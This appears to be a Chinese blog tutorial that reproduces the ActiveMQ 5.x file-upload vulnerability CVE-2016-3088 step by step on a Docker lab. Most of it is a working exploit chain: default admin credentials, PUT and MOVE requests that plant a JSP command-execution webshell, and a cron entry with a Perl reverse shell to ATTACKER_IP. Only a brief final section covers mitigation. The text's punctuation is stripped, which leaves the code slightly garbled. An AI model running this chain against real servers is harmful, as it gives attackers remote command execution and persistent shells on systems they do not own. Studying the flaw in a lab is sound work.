手把手复现ActiveMQ 5.x文件上传漏洞(CVE-2016-3088),从写入Webshell到反弹Shell全流程

发布时间:2026/6/5 3:16:43
手把手复现ActiveMQ 5.x文件上传漏洞(CVE-2016-3088),从写入Webshell到反弹Shell全流程
从文件上传到系统控制ActiveMQ CVE-2016-3088漏洞深度利用指南在渗透测试领域文件上传漏洞往往被视为通往系统控制的黄金门票。ActiveMQ 5.x系列中存在的CVE-2016-3088漏洞正是这样一个兼具教育意义和实战价值的典型案例。本文将带您深入探索这个漏洞的完整利用链条从基础的文件上传到复杂的权限提升构建一个完整的攻击视角。1. 漏洞环境搭建与基础认知1.1 漏洞环境快速部署对于希望快速搭建实验环境的读者推荐使用Docker容器技术。以下命令可以快速启动一个存在漏洞的ActiveMQ实例docker pull vulhub/activemq:5.11.1 docker run -d -p 8161:8161 -p 61616:61616 vulhub/activemq:5.11.1关键版本信息对比表ActiveMQ版本fileserver状态漏洞影响5.11.x及以下默认开启受影响5.12.x-5.13.x默认关闭需手动开启5.14.0及以上完全移除不受影响1.2 漏洞核心原理剖析该漏洞的核心在于fileserver组件的两个关键特性支持通过HTTP PUT方法上传任意文件支持通过MOVE请求移动已上传的文件攻击者可以分三步完成利用上传一个Webshell到fileserver目录使用MOVE请求将其移动到Web应用目录访问移动后的Webshell执行系统命令2. Webshell写入实战流程2.1 认证信息获取与路径探测首先需要获取ActiveMQ的管理员凭证和绝对路径。默认情况下ActiveMQ使用以下凭证用户名admin 密码admin通过访问/admin/test/systemProperties.jsp页面可以获取系统路径信息GET /admin/test/systemProperties.jsp HTTP/1.1 Host: target:8161 Authorization: Basic YWRtaW46YWRtaW42.2 文件上传与移动技术细节使用Burp Suite进行漏洞利用时关键步骤如下上传Webshell文件PUT /fileserver/shell.txt HTTP/1.1 Host: target:8161 Content-Type: application/x-www-form-urlencoded Content-Length: 215 % page importjava.io.*% % String cmd request.getParameter(cmd); Process p Runtime.getRuntime().exec(cmd); BufferedReader br new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line br.readLine()) ! null) { out.println(linebr); } %移动文件到Web目录MOVE /fileserver/shell.txt HTTP/1.1 Destination: file:///opt/activemq/webapps/api/shell.jsp Host: target:8161常见问题排查表问题现象可能原因解决方案403 Forbidden文件已存在使用新文件名404 Not Found路径错误确认绝对路径移动成功但无法访问权限问题检查目录权限3. 高级利用Crontab反弹Shell3.1 Docker环境特殊处理在Docker环境中使用crontab需要特别注意确保cron服务已安装并运行检查/etc/cron.d/目录可写确认时间同步正确安装cron服务的命令apt-get update apt-get install -y cron service cron start3.2 反弹Shell payload构造一个可靠的Perl反弹Shell payload示例*/1 * * * * root /usr/bin/perl -e use Socket;$iATTACKER_IP;$p4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(tcp));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,S);open(STDOUT,S);open(STDERR,S);exec(/bin/sh -i);};上传并移动payload的关键请求PUT /fileserver/exploit HTTP/1.1 Host: target:8161 Content-Type: text/plain Content-Length: 328 [上述Perl代码] MOVE /fileserver/exploit HTTP/1.1 Destination: file:///etc/cron.d/exploit Host: target:81614. 防御策略与漏洞修复4.1 临时缓解措施对于无法立即升级的系统可采取以下措施关闭fileserver组件!-- 修改conf/jetty.xml -- bean idfileserver classorg.eclipse.jetty.webapp.WebAppContext property namecontextPath value/fileserver / property namewar value${activemq.home}/webapps/fileserver / property nameextractWAR valuefalse / /bean配置网络ACL限制访问4.2 长期安全建议升级到ActiveMQ 5.14.0或更高版本实施最小权限原则定期进行安全审计在实际渗透测试中理解漏洞背后的原理比单纯复现更重要。通过这个案例我们不仅掌握了一个特定漏洞的利用方法更学习到了如何分析、利用和防御这类文件上传漏洞的通用思路。